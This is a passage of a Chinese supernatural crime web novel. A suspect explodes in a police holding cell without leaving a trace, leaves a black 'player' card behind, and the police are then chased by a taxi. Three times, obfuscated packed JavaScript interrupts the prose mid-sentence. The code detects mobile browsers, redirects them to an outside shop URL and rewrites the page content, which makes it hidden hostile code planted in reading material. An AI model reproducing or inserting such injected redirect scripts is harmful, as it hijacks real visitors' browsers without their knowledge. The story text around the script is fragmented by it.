这句话可能刺激到他了,他又握住栅栏门,凶狠地瞪着纪然,声嘶力竭:“你怎么还不死!”语气带着孤注一掷地绝望,仿佛被全世界抛弃,孤立无援。 纪然被突如其来地高分贝吓了一跳,定了定神,有些生气:“凭什么我就要死?到底是谁让你来杀我的?” “杀你?”张统突然嘿嘿笑了起来,并没有回复纪然,自顾自地坐在地上,“马上就能还清债,我要给妈妈重新立个碑,然后去医院检查身体……我听妈妈话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179102|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要好好活下去,我是乖孩子,最听话了……” “A市有个墓园的风景很漂亮,妈妈一定会喜欢吧……我现在身体比以前好,一顿能吃两碗饭……我有好好穿衣服,不用担心……最近又接了几个任务,只要完成了我就有钱了……到时候买个大房子,妈妈要看着我幸福……” 说着说着,他开始掉眼泪,双手在脸上根本擦不干净,从小声抽泣到嚎啕大哭,眼泪像梅雨季的雨一样连绵不绝,整个看押室门里门外全都蔓延着悲痛的压抑气氛。 叶柯有些唏嘘,明知他是个杀人未遂的嫌疑犯,但知道了这孩子的经历,再怎么冷漠的人在面对这个场景时也难以无动于衷。只能说,可恨人背后都有可怜之处吧。 身为心理师,她能感同身受,却无法苟同张统因为过得惨就要犯法的行为。难道小妹妹就不惨吗?莫名其妙就遭受这一切,若不是队长他们行动快,这会儿小妹妹就不是站在这里,而是躺在停尸间了。 这样想着,她搂紧纪然的手臂,凑过去咬耳朵:“你别心疼他啊,他可是要杀你的人,不值得同情。” 纪然点点头,接受了叶柯的善意。 看着张统,内心却没什么感触,虽然他看起来很惨的样子,但她无法体会他的情感,毕竟她也是受害人,跟想杀她的人共情?搞笑呢。 难道就因为对方惨,她就要被对方杀掉吗? 哭之前一直叫嚣着让她去死,怎么还不死。现在他痛哭,不过是因为他的愿望无法达成了而痛苦,是遗憾他自己,并不是意识到自己杀人这件事是错误的,完全是为了他自己而哭。 从头到尾他都没意识到自己的错误,流泪也只是因为看到她没死,他所谓的任务完成不了。 但谁来站在她的角度想一想,对她而言这完全就是无妄之灾! 只有她是切切实实的死过,谁能体会她真的死过了这个经历? 大家只会知道自己虽然被疯子盯上,但是却很幸运逃过一劫。实际上确实是这样没错,虽然她已经在这个人手上死过好几次,但要不是有笔记本,她哪有这么多条命去试探唯一的生路? 不过旁边的叶柯不愧是专业的,能够迅速理清逻辑,还来安抚她。 纪然转头,就看到李新咏沉默着,眼神带着些唏嘘的感叹。 李新咏倒是见惯了类似的场景,没觉得有什么。只是从资料里能看得出来张统是个很坚韧的人,可偏偏最后走上了犯罪的道路,可惜了。 纪然看向肖羽,他眼尾发红,视线没有焦点,像是通过这场景想到了什么,侧着脸失神地看向墙壁,抿着嘴神情露出几分悲恸。 然后视线与宋承对上。 宋承咳嗽一声,打破了这场五人间的安静:“都清醒点,他只是为自己没能杀掉jì然而哭,从始至终并没有一丝后悔。” 然后他一巴掌拍向肖羽后背:“就读警校的时候应该就强调很多次了,不要去共情杀人犯。他很惨,经历无妄之灾的被害者难道不更惨?” “抱歉,队长,不会有下次了。我只是想起了我奶奶……”肖羽回过神来,也意识到了自己的不对,转头对纪然说,“小妹妹对不起,我不是在共情他觉得他惨。只是想到,如果他母亲知道自己拼命从死神手里抢回来的孩子,最终变成这样,她该有多难受……” 听到肖羽这么说,宋承眉间微松:“有人身处逆境能积极向上,有人却另走极端,都是他自己的选择造就的。” 肖羽点头,朝纪然笑得满脸歉意。 纪然摇了摇头,表示没关系,然后收回视线,搂着笔记本的手臂微微缩紧,一时有些沉默。 不知道过了多久,可能是几十秒,又可能是几分钟,又或者可能十几分钟。 宋承盯着情绪激动的张统,直到他哭声减弱:“所以,你是为了你母亲才出现在那栋公寓?” 18. 吓我一跳 张统的哭声渐渐小了,听到“母亲”两个关键字,他开始冷静下来,此时倒有几分正常人的样子。 他脸上挂着还没干涸的泪水,没有理会宋承的话。而是撑着栅栏起身,面向几人,带着浓浓的鼻音自顾自地嘶哑道:“你们想知道我的能力吗?” 纪然看着他平静的表情,眉眼间隐隐看到几分少年人的稚嫩与清纯。她问:“什么能力?” 张统露出正常的、孩子般干净的笑,慢条斯理地说:“只要在我五感范围内发现有人,就能获得buff。你玩过游戏吗?就是像游戏那样给一个体质buff,让我能拥有特种兵一样的身体素质。” “不过它有时间限制,一周内只能使用一次,每次使用持续三小时。”他脸上带着骄傲的神色。 “我还有个道具,能通过随身物品探查到指定目标的所处位置。所以我通过监控查到这个地方后一直等到它冷却结束,今天早上使用道具才找到了你房间,但是不激活我的buff可能会打不过你。” 五个人都有些面面相觑,听着张统说出的这些让人匪夷所思的话。只有纪然,瞳孔一缩,一只手忍不住插进口袋,捏了捏里面的黑卡。 他口中说出来的话,那个像游戏一样的存在,令纪然想到黑卡上的任务与倒计时,还有同样拥有神奇能力笔记本,这两样东西……不也是像游戏道具吗? “那把魔鬼斧是我抽到的新手武器,没什么特别功能,就是普通的武器。” “至于要杀你的人……”说到这,纪然凝神仔细听。却见他浑身猛地一抖,脸色巨变。表情逐渐扭曲,双目睁大,疯狂又在他的眼里和嘶吼声里迸发。 这是又发疯了? “怎么还没死……杀了……ji然……时间……要到了……去死去死……” 张统往栅栏门上撞,肉体凡胎不要命似的与钢铁碰撞,发出一声声震耳欲聋的声响。 纪然看着眼前这一幕,往叶柯身边缩了缩。 “去拿镇定剂!”宋承言简意赅,语气急促。 肖羽正往审讯室冲,去拿放在那里的镇定药物。虽然是非处方类的,必须得在医生的指导下使用,但看了这么久,他多少也会一些。 刚跑出没几步,长着正太脸的乔云深提着急救箱跑过来:“你们这动静可真大,我就猜到要出问题。” 看见现场的情况,乔云深没做犹豫,火速取出备好的镇定剂和使用无菌技术准备的注射器和针头:“打开门按住他。” 在乔云深准备手上的镇定注射剂时,宋承正在开栅栏门的锁。 还没打开门,就见张统突然停下撞门的动作,面色苍白,额头上瞬间布满冷汗。他后退了几步,脸上露出极度恐惧的表情,五官扭曲,面目全非。 “不……任务……时间……失败,不要……”他嘴唇颤抖,声音嘶哑又绝望。眉头紧皱,双目圆睁,好似要从眼眶里跳出来一般。 张统的呼吸变得急促又粗重,每一口喘息都像是有无形的利刃在切割他的肺部。 嘴角和鼻子开始渗出血液,沿着他的下颌滴落下来。张统用手紧紧地捂住自己的嘴巴和鼻子,试图阻止那不断涌出的鲜血,但温热的液体不受他的挽留,顽强地从指缝中挤出。 他目眦欲裂,痛苦的呻吟被涌出喉间的腥甜血液给粗暴打断,像溺水的人在窒息中挣扎,眼球上的血丝几乎爆裂开来。 不,好像是真的爆了。纪然看到有鲜血从张统的眼眶中不断涌出,沿着脸颊滑落,留下一道道狰狞的痕迹,宛如恶鬼,令人不寒而栗。 这副诡异的模样,让五个人都有些愣神。 随着张统又吐出一口血,几个人很快回过神。宋承拉开栅栏门,乔云深顾不得潜在的危险,直愣愣地往门里冲,却被眼疾手快的李新咏一把抓住后衣领,硬生生拉到他身后。 “不对劲,云深你先等等。”李新咏带着他往后退。 宋承眉头紧锁,也察觉到张统身上的异样。 “不,不要……时间……到了……不……” 现在张统的身体皮肤下面鼓起一个个鼓包,像有虫子在蠕动。这些鼓包在皮肤下不断膨胀,即便隔着衣服也无法掩盖它们的存在,甚至随着他的喘息而膨胀收缩,越来越大。 密密麻麻的鼓包布满了张统的全身,令人心头浮现出难以言喻的不安感。 几个人的脑子里都警铃大作,对危险的敏感让宋承果断相信自己的直觉,大步往回跑,顺手把双层门外层的钢质门带上:“跑!快离开这!” 剩下几人听到队长的声音反应都很迅速,没有质疑没有犹豫。 李新咏抓住乔云深的手臂,毫不犹豫地像走廊转角处冲去。他的眼里带着严肃,显然是意识到事态的严重性。 肖羽紧跟其后,一边拉着叶柯,一边奋力奔跑。叶柯虽然被拉着,但另一只手紧紧拉着纪然,把她也带进这个紧急逃亡里。 纪然一开始有些困惑,不明白为什么要跑,但很快就被紧张的气氛所感染。她被拖着跑,脚步踉跄,努力想要跟上这群人地速度,但明显有些力不从心。 宋承如一阵风般疾跑而至,在经过纪然的瞬间,一把抱起她,丝毫没停顿。他的身体紧绷,步伐稳健而快速,在这条至少五十米长的走廊里,几下就跟大家冲到走廊处的拐角处。 在纪然双脚刚落到地面时,听到墙后拐角不远处,也就是看押室那里,“砰”的一声巨响,像是有炸弹在室内被引爆。 ! 在响亮的爆炸声里,整条走廊包括他们这边的地面都晃了晃。身体一震,纪然忍不住缩了缩脖子。 刚极速奔跑了五十多米的叶柯呼吸微乱,看见纪然肩膀内扣,咬着唇面部肌肉紧绷,她一边平复着呼吸一边安抚着纪然。 乔云深扶着墙,脑子里回想起刚才张统身上的情况。虽有些脸色苍白,但还算镇定:“在法医学领域,人体自爆这类案件确实极为罕见且复杂。在这种情况下,现场可能存在大量的生物危害物和有毒气体。要过去检查的话,我们需要采取严格的防护措施。” 李新咏察觉到一个问题,脸上带着微微的诧异,看向墙壁上的警报器:“刚发生爆炸,警报却没响?” 听到两人的话,想起刚刚张统那诡异的模样,还有那些令人匪夷所思的话。宋承在脑子里把这些线索组合起来,推算出一个又一个可能性。 只有纪然,她突然意识到一件事:“现在是几点几分?” 想到张统不 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冷白色的灯光从天花板上的方形灯具中均匀洒下,在夜晚里为这条走廊增添了几分诡异的平静感。 没有任何痕迹,空气里连灰尘都没有,就像刚才什么情况都没发生。 纪然嗅了嗅,并没有闻到异常的气味。 确实很不对劲。宋承目光冷峻,声音低沉:“新咏跟我过去看看,肖羽留下警戒。” 随着两人的应声,宋承一马当先,与李新咏小心谨慎地踏进走廊,往张统所在的看押室而去。 走廊内,灯光明亮,空气中却弥漫着一股难以名状的紧张感。 宋承和李新咏的脚步声在此时显得空旷的走廊中回响。他们神情凝重,迈出的每一步都带着试探,走过一扇又一扇紧闭的门,来到其中一间钢质门前。 大门两侧门框未受损,钢质门形状未变,空气中无异味,里面没有任何声音。 很古怪,两人对视一眼,这里完全不像刚经历爆炸的样子。 宋承伸出手慢慢拉开门,轻微的吱呀声响起,然后两人呆愣在原地。 怎么会? 缩在转角处的几个人望眼欲穿,各种恐怖片里的血腥场景在脑子里闪过。一定很可怕吧,连队长那么稳重又心理素质极强的人都愣住了。 纪然盯着不远处的两人,神色晦暗不明。她清楚的记得,当时在发现黑卡的时候,外面包装着一层黑金色的纸质烫金贺卡,上面还有一句话:欢迎加入我们! 如果张统也是“受邀”的人,那他诡异的“自爆”就是“邀请者”操控的。以这毫无痕迹的走廊来看,那位神秘又未知的强大存在既然能抹掉这些痕迹,说明看押室里的张统很有可能也看不出任何遭受爆炸的痕迹。 所以宋承和李新咏才会愣住,因为这根本不符合常理。 宋承侧目看了剩下的几人一眼,做了个“过来”的手势。肖羽走在前面带着基本没什么作战能力的三人靠近。 “队长?”肖羽刚出声,就看到看押室里的情况,眼里闪过震惊,止住了声。 纪然走过来,看向里面。 里面空无一人。 19. 「击杀玩家数量+1」 空旷的室内地面上,静静躺着一张黑色卡片。 宋承戴上手套,轻轻捡起。 「张统」 「ID:已失效,玩家已死亡」 「3,3,1」 右下角还有还有一串小字:「倒计时结束」 卡片翻过来,另一面也有几行字。 「悬赏任务:杀死玩家季然」 「任务地点:C级世界,编号C012」 「难度评定:C级」 「赏金:100积分」 “这是什么?他的杀手或者雇佣兵的身份卡任务卡?什么是C级世界?” 乔云深从宋承边上探着头也看到了这些内容,满脑子问号。 看完黑色卡片上的内容后,宋承的眼神深邃,把卡片递给李新咏。李新咏戴上手套接过来,一脸严肃地盯着上面的文字。 肖羽凑了过来,看到内容后眉头紧锁,一副思考的模样。 看到这张熟悉的黑卡时,纪然之前的猜测全都得到了证实,除了她猜测的张统身上的无痕迹。一时说不上来是一个大活人突然人间蒸发离谱,还是直面爆炸却无伤痕更离谱。 “我能看看吗?”纪然开口,抿着嘴盯着李新咏手中的黑卡。 李新咏看向队长,待宋承点头后,才递给她。 见状,叶柯从口袋里摸出一张纸巾递向纪然。纪然微愣,随即伸手接过,轻轻地用纸巾包裹住黑卡,这才拿了过来。 叶柯站在纪然身边,目光也投向那张黑卡。 「检查到已失效状态的身份卡,是否吸收?」 纪然眼前突然跳出一句提示气泡,里面出现这么一行字。 什么东西? 她咬了咬下唇内侧的肉,一股明显的痛意传来,显而易见,这并不是在做梦。 那为什么眼前会出现像游戏里的道具提示一样的气泡? 虽然纪然失去了记忆,但是她并没有失去常识,在碰到对应事物的时候,脑子里会自动触发一些常识信息。可面对这种奇怪的一幕,她什么都想不起来。也许,她以前并没有看过什么小说?所以连个能借鉴的参考都没有。 纪然忽略这行字,把注意力放在黑卡的内容上,越看越感觉眼前的谜团越来越大。 为了不引起警察的察觉,她没露出什么表情,也没多看。把上面的文字深深记在脑子里后,把黑卡递给了宋队长。 在仔细检查了几遍看押室后,宋承神色凝重:“什么痕迹都没有,跟第九系列凶杀案太相似了,张统跟真正的凶手一定有什么关联。” “他这条线算是断了,但这张卡片上透露出来的信息也不少,”宋承转头看向肖羽,“小羽你去监控室查一下看押室包括这条走廊近半小时内的监控,看看有什么异常。” “收到!”肖羽点头,利落地转身大步走了出去。 宋承看向李新咏,把手中黑卡递过去:“你去技术大队那里看看今晚有没有人加班,把这张卡检验下。” “明白。”李新咏一脸慎重,伸出手接过黑卡。 「请求超时,已默认选择」 「正在吸收中」 在李新咏手指刚碰到黑卡的时候,黑卡在两人的手之间以肉眼可见的速度像玻璃一样碎裂,无声地快速散落,消失在空气中。 李新咏的手指僵住了,像刚从寒冰中探出一样僵硬。宋承的眼里也充满了诧异,心中涌起一股诡异感。乔云深忍不住揉了揉眼,仿佛要揉去眼前的幻觉。叶柯双手捂着嘴,眼睛睁得大大的,满脸震惊。 只有纪然有些头疼。 「吸收完毕,获得300积分」 「击杀玩家数量+1」 看完眼前跳出来的气泡提示里的文字后,纪然:??? 什么叫做击杀玩家数量加一,张统也不是她杀的啊! 纪然满脸匪夷所思,倒是跟第一小队的四个人表情同一个画风。 “我该不会是今天没睡醒吧?”乔云深喃喃自语,掐了李新咏一把,“不痛,果真是在做梦。” 李新咏:“……” 李新咏的脸有些扭曲:“有没有一种可能,你掐的是我。” “啊……抱歉,那李哥你痛吗?”乔云深连忙送开手。 李新咏恢复了面无表情,就是说话有点咬牙切齿:“不痛,但你确实在做梦,现实中你已经因为熬夜工作晕倒昏迷两天没醒了。” “什么?”满脑子只有学术与工作的乔云深大惊失色,“果然还是因为我熬夜太久陷入极度疲劳状态,导致认知功能受到干扰了吗?我还有好多事要做,不能在梦里待这么久。李哥李哥,那我要怎么才能醒过来?” “等找到张统的时候你就能醒过来了。”李新咏随口一说,揉了揉被掐的手臂,有些无语。这孩子,还是一如既往地光有智商却没情商,俗称缺根筋。 乔云深皱着眉,一脸为难:“我们要去哪找张统啊?人体自爆却无爆炸痕迹,这是只有在梦里才会出现的场景。” 梦里?听到乔云深的最后一句话,宋承看了一眼叶柯,与她清明的眼神对上。显而易见,这不是在做梦,他们更没有被催眠。 “去监控室,”宋承直截了当地说,“新咏你去问问其他今晚值班人员。” “了解。”李新咏应声,快步走出看押室。 纪然跟在宋承几人身后,穿过走廊的光影,走向监控室。 随着几人的接近,监控室的门牌在视线中逐渐清晰起来,冷冽的金属光泽在夜晚白炽灯下透露出一股寒气。 进门后,电子设备的气息扑面而来。伴随着微弱的嗡嗡声,首先映入眼帘的是一面巨大的电子屏幕。它占据了整个墙面,上面密密麻麻地排列着近百个小方格,每个小方格都是一个实时监控的画面,覆盖了公安局的各个角落。 控制台位于房间的中央,上面摆放着一排排复杂的电子设备和计算机显示器。 监控室内,灯光明亮,映照出两位值班警察忙碌的身影。肖羽坐在其中一个显示器前,双眼紧盯着屏幕,手指轻轻敲击着桌面,似乎在思考着什么。 突然,一阵脚步声打断了他的专注。肖羽回头,看见队长带着叶柯几人走了进来。他立刻招呼道:“队长,监控有问题,你们来看看。” 他把走廊上的监控录像回放时间调回半小时前,那个时候,一行人刚刚踏入走廊,他们的脚步声在空旷的走廊中回荡。 接着,他按下快进键,画面进度飞快地前进,来到了一行人站在关着张统的那间看押室前的时候。 肖羽把监控录像回放调成正常播放速度,纪然站在他右后方,目光穿过肖羽的肩膀,注视着屏幕上的画面。 画面中,他们一行人站在一扇栅栏门前,隔着冰冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179104|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的铁栏,对着空无一人的看押室说话。他们的声音在空旷的走廊中回荡,显得格外清晰。 等等,空无一人? 纪然瞪大了双眼,周围的空气仿佛凝固了一般,让她感到窒息。一股强烈的寒意瞬间从尾椎骨升起,沿着脊柱直贯后脑勺,让人不寒而栗,忍不住打了个激灵。 这怎么可能! 他们当时明明就在跟看押室里的张统说话,一个大活人不仅从房间里消失,还能从半小时前的监控录像里消失? 肖羽来回调着监控录像进度,据监控录像显示,他们在空房间前待了二十多分钟,期间还不时交谈着什么。紧接着乔云深急匆匆地提着医药箱跑了过来。 之后在21:59分的时候,他们面对着空荡荡的看押室,脸色骤变,关上门就迅速向走廊的另一侧奔去。 走廊上的监控实实在在记录了这一切。 监控录像继续缓缓播放,时间悄然指向了22点整。空荡荡的走廊里静悄悄的,所有的声都消失了。随着录像进度的推进,时间来到了22:01分,但走廊依旧一片死寂,没有任何动静发生。 肖羽熟练地切换到另一个监控画面,这是看押室内部的视角。 他将时间精准地定位在21:59分,只见屏幕中几个人影出现在看押室的门口。宋承皱着眉动作迅速地打开了栅栏门,李新咏拉住乔云深的后衣领。然后过了几秒,三个人转身就跑,紧接着看押室的钢质门被关上了。 监控录像继续播放,又过去了三分钟,看押室内依旧静悄悄,毫无任何声响,更没有张统的身影。 肖羽迅速切换到第三个监控视角,这一次是走廊转角处的摄像头所捕捉到的画面。 在回放至21:30的记录时,可以看到一群人匆匆经过转角。在快进后,21:59:55秒时,画面中出现了六个人,他们神色凝重面带不安,急匆匆地跑到了转角处。 整个监控录像中,尽管充满了各种声音,但张统的声音并未出现,只有纪然与第一小队众人的说话声。并且在差不多22点发生的爆炸事件,监控录像中也未捕捉到任何与爆炸相关的声响。仿佛一切从未发生过一般。 甚至走廊转角处的这一段监控录像里,还有纪然当时询问李新咏的声音。 「现在是几点几分?」 「晚上十点整……十点零一分了。」 在屏幕里监控录像的画面中,时间跳到22:01分时,李新咏正好说出“十点零一分”。 叶柯搓了搓手臂上的鸡皮疙瘩,乔云深却已经看淡了:“还真是做梦啊,差点就以为我醒过来了。” 宋承目不转睛地注视着屏幕,眼神带着震惊,仿佛被一股强大的力量击中,一时间竟无法言语。今晚的短短几个小时,发生的事一件比一件离谱,几乎要颠覆了他近三十年的唯物主义信念。 很快,更诡异的事来了。 宋承手机震动了一下,他看了一眼,是李新咏的电话。 “队长,有情况,很不对劲。” “问了几个值班人员,他们说张统在一个多小时前,晚上九点时突然猝死。初步判断可能是心脏血管问题导致的突发性心肌梗死。” “事发后,他们紧急联系了急救中心,但没能把人抢救回来。刚打电话问过医院,负责抢救张统的主治医生已经开具了张统的死亡医学证明。” 20. 你追我干嘛? 纪然作为同样见证这一切离奇事件的当事人之一,宋承并没有瞒着她什么,反而邀请她一起前往晚上九点时张统被救护车拉去的医院。 他们没有开原来那辆越野车,而是换了一辆黑色的七座suv车。 李新咏的开车技术稳而娴熟,这次依然是他开车。宋承则坐在副驾驶座位上,协助他观察路况。 纪然与叶柯坐在中间一排,叶柯拍了拍纪然肩膀,轻声安慰她。肖羽与乔云深坐在最后一排,各自看向两边的车窗外,沉默不语。 夜色已深,一辆黑色的汽车在马路上飞驰,划破了略显安静的街道。 车子里,六个人都没怎么说话,只有车轮与地面摩擦的声音和发动机的低沉轰鸣在空气中回荡。 车窗外的景色在夜色中匆匆掠过,街灯的光芒在车身上一闪而逝。 纪然看向车窗外,不停倒退的大楼与街道消融在黑暗中,只能看到点点微弱的窗口灯光,思绪放空。 作为一个失忆人士,接二连三的事情让她大脑一直处于紧绷状态。 她回想着在看押室的事,静下心来仔细分析着关于张统的那张黑卡。 那上面的内容,把黑卡拥有者称为“玩家”。她是玩家,张统是玩家,就连季然居然也是玩家,真是出乎意料。 而且张统的这那卡上的任务,显示的是“悬赏任务”,而她的上面显示的是“主线任务”,还提到了“支线任务”。 那就说明,任务有很多种分类。张统的这个“悬赏任务”,从文字意思上推论,很大概率是他自己接取的悬赏任务,任务目标是杀死季然。 悬赏一般都是一种人为的奖励机制,通常用于鼓励别人完成某项任务或者解决某个问题。以各种形式的奖励来吸引个人或团队提供解决方案或达成目标。 既然是人为,那就是有人发布了“杀死季然”这个悬赏任务,张统接取了这个任务,来到季然房门前。 那么,这个人是谁?也是所谓的玩家吗?所以才会发布与奇异黑卡有关的悬赏。 像这种指名道姓的涉及到人命的事,这个神秘人很大可能与季然有仇。 纪然回想起之前张统精神正常时说出来的话。 「只要在我五感范围内发现有人,就能获得buff。」 「一周内只能使用一次,每次使用持续三小时。」 「我还有个道具,能通过随身物品探查到指定目标的所处位置。」 照这些话所说,张统先是接取了杀死季然的悬赏,然后使用某种道具获取到季然的所处位置,来到当时的那个房门前,碰巧她在那时候醒过来。 而张统本身的身体素质一般,他怕自己不能直接杀死人,所以在不确定房间里有没有人的时候,他并没有直接闯进去,而是蹲守在门口,仔细听里面的动静。 上午九点多的时候他到门口待了一阵子,之后离开了。虽然不清楚他为什么会离开,也许是吃饭去了,也许是调虎离山之计,但是对她而言是件好事。起码在张统离开的那段时间里,她能安全地四处探索房间。 之后张统又回来蹲守在门口,趴在门上听动静。她没有发出声音,所以安全地等到警察来。 而在笔记本前三页的剧情里,第一次她打开了门,第二次她说了话,第三次她被张统听到了呼吸声。 被张统在五感内发现有人的动静,就会激活他的体质buff,所以为了以防屋子里人在他闯进去时偷袭他,他会在门外先听动静,一确定里面有人,立刻就展开了攻击。当时的张统拥有着特种兵一样的身手,还手持武器,前几次的她根本就毫无还手之力。 这个事件的逻辑理顺后,关于张统的部分算是了解清楚了,但是却有更多的疑问又蹦了出来。 比如她不是季然,为什么张统能用季然的随身物品找到她待的房间。他提到的道具功能是“探查到指定目标的所处位置”。既然是目标的所处位置,当时季然又不在房间里,不应该找到那里啊。 还有,如果季然也是玩家的话,那季然手中很大可能也有特殊道具,毕竟连她这个失忆的人都有一本笔记本。季然能逃过张统的追杀,到现在都没有被警方找到,也是一种本事。 想到这,纪然突然与之前在会议室里得知到的消息连上了。 监控显示昨晚是季然把她带回自己房间,再加上张统追杀这件事。会不会是季然知道有人要杀自己,然后利用她来规避追杀,用她的死来骗过张统? 也不是没这个可能,虽然从房间里透露出来的生活习惯,和照片里看出来的很是内向腼腆的一个人,但实际上内心的想法谁能知道呢。 可是她当时为什么大晚上的会出现在那个公寓附近?还昏迷着,失去了记忆。 她跟季然的名字发音一样,选择用她来当替死鬼的话,季然是不是认识她? 警方查不到她的任何信息,监控里除了公寓附近,哪哪都查不到她的身影,就好像是在这个世界上凭空出现了她这么一个人。 纪然想到张统的黑卡上显示的“玩家已死亡”。 张统死了,那他的尸体为什么不在看押室里?明明晚上十点前张统还在那里待着,她跟第一小队的几人跑开的时候,是有听到那扇钢质门关上的声音。 以警局的门锁结构,这门一关上可没这么好打开。更何况关上后没几秒就响起了爆炸的剧烈声响,连隔着至少五十米远的墙壁地板都震动了,这爆炸做不了假。 可为什么找不到他? 之后在监控室里查看监控录像,从晚上九点后,监控里就根本没有张统的影子,也没有那场爆炸。 李新咏打来电话说张统在晚上九点时就死了,医院都开具了死亡医学证明。真的很诡异,如果那时候张统就死了,已经在医院躺着了,那么当时在看押室里与他们说话的人又是谁? 如果不是张统的话,那为什么会掉落一张写着张统名字的黑卡? 如果这就是张统的话,为什么一开始搜身没有搜到他身上的黑卡,而且他是怎么做到抹去了这一小时里,公安局所有监控中有关他的画面? 并且又是怎么在一小时前死亡被救护车拉去医院,又在半小时后,晚上九点半时出现在看押室与他们说话? 越想越诡异,或者说,张统“消失”的痕迹是那所谓的邀请他们成为玩家的存在操控的。那个存在拥有着令人无法想象的能力,替换掉了所有人的记忆力,并创造出张统在晚上九点死亡被救护车带走的景象。 至于他们六个人为什么还有记忆,纪然猜测是因为他们是接触到张统并看到他发生异样的人,最后走廊转角处与那间看押室并不远,他们同时也是在现场与张统距离最接近的人。 是当事人,所以那个存在无法抹去他们的记忆。 而他黑卡上的「任务地点:C级世界,编号C012」,和「3,3,1」,又分别代表着什么意思? 关于前者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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作为警察,他们平日里得罪的人并没有几个,而且大多数都已经受到了法律的制裁。他们第一小队目前手头上的案子只剩下第九系列凶杀案和张统的案子没结,但张统疑似已经死亡,剩下有可能与他们作对的只有第九系列凶杀案的真凶。 但是这个案子目前并没有多少进展,白天他们警局收到周林的举报后,就出动人手去查季然的下落,至今还没有她的消息。之后他们从张统手里救出这个与季然名字同音的纪然,还没从张统嘴里问出什么信息,人就消失了。 那这辆可疑的出租车,如果真的是要对他们警方动手的话,目标很有可能就是被案件牵连进去的、剩下的当事人——纪然。 “虽然有可能是巧合,但我们确实要提高警惕。新咏,你继续正常开车,不要让对方察觉到我们已经注意到了它。”宋承冷静开口,语气中带着一丝不容置疑的命令,李新咏立刻点头表示明白。 “小羽你来观察那辆车的动态,密切注意它的行驶路线和速度变化。”宋承通过车内后视镜看向肖羽,肖羽应声,迅速调整了自己的姿势,开始观察后方的可疑车辆。 他拿出手机,打开地图开始看当前位置的路线。如果那辆车真的别有目的,就不能走市区这条路,以防伤到普通群众。 “若是对方真的动手,那么目标很有可能就是纪然,”宋承的声音再次响起,回荡在车厢内,“所以,大家保持警觉,随时准备应对突发情况。” “明白!”第一小队除宋承外的四个人异口同声。 21. 这谁能想到 纪然又把目光投向车窗外,眼神没有焦距。不安的感觉在心中悄然蔓延,像是一股无形的黑暗力量,逐渐吞噬着她内心的平静。在现在安静的车子里,她能清晰地听到自己的心跳声,越来越急促。 此时李新咏驾驶着suv依旧保持着原来的速度,街道上的路灯透过车窗玻璃映在纪然的脸上。 那种令人心悸的感觉愈发强烈,仿佛有一股无形的力量正在逐渐逼近,让人喘不过气。 “队长,对方加速了。”肖羽突然出声,声线有些紧绷,浑身都在警惕着后方突然加速的出租车。 宋承也看到了,但以目前这个距离来说,即便是对方加速,也并能不代表什么。 李新咏看到前面道路十字路口的红绿灯跳到红灯,瞥了一眼后视镜,缓缓慢下车速。但从青筋明显的手背上可以看出,他也没放松警惕。 suv的前轮在距离停车线还有二十多厘米时停下了,而后面的车子距离他们越来越近。 这条马路比较偏僻,在深夜十一点时已经见不到有什么车经过,街道上的商铺早已关了门。此时除了从微开的车窗里钻进来的越发清晰的发动机轰鸣声,和轮胎与路面接触的摩擦声外,安静得有些诡异。 “队长……”肖羽一直盯着后面出租车的行动轨迹和车速变化,眼神逐渐凝重,“对方并没有减速,以这个趋势,很快就会撞上我们的车。” 宋承看着红灯的倒计时还有三十多秒,而那辆车离他们的距离很接近了,沉着声开口:“十米内对方没减速,新咏就开车。” 李新咏立刻做着准备,从后视镜里计算着两辆车间的距离。 搂着笔记本的手臂不由自主地紧绷着,纪然呼吸略微紊乱,有一种要发生什么大事的强烈不安感像一块巨石压在胸口,让她有些喘不过气来。 随着车身微微一晃,suv像离了弦的箭一样冲出去,安全带拉回每个人快要飞离座位的身体,纪然条件反射性抓住车门上的把手,握得紧紧的。 在刚刚离红灯还有二十秒倒计时的时候,那辆出租车的车速丝毫没减,直接对着他们的车尾撞过来。李新咏油门一踩,避开了对方的撞击。 “看来对方确实是别有目的,”肖羽坐正了身体,抓着车门上的把手稳住自己,在这种时候还有心思对着左前方座椅上的纪然开玩笑,“这个该不会也是认错了人跑来杀你的吧?” 纪然扯了扯嘴角,叹气:“这谁知道呢,我也很好奇怎么老是能找到我。”这让她有一种自己在给季然当替死鬼的感觉。 “如果卡片上写的都是真的,有人悬赏要杀那个季然,在张统死后任务失败,会有第二个人继续接悬赏也不奇怪。”肖羽继续说着。 “但这速度也太快了吧,我们也才刚得到消息没多久。”乔云深撇嘴。 “这就说明对方能监测到我们的行动,或者说是行踪,”宋承分析道,深邃的眼睛紧紧盯着后视镜,“张统之前提到他拥有能追踪对方位置的‘道具’,这个人如果也是接了悬赏的人,同样拥有这种‘道具’也很正常。” 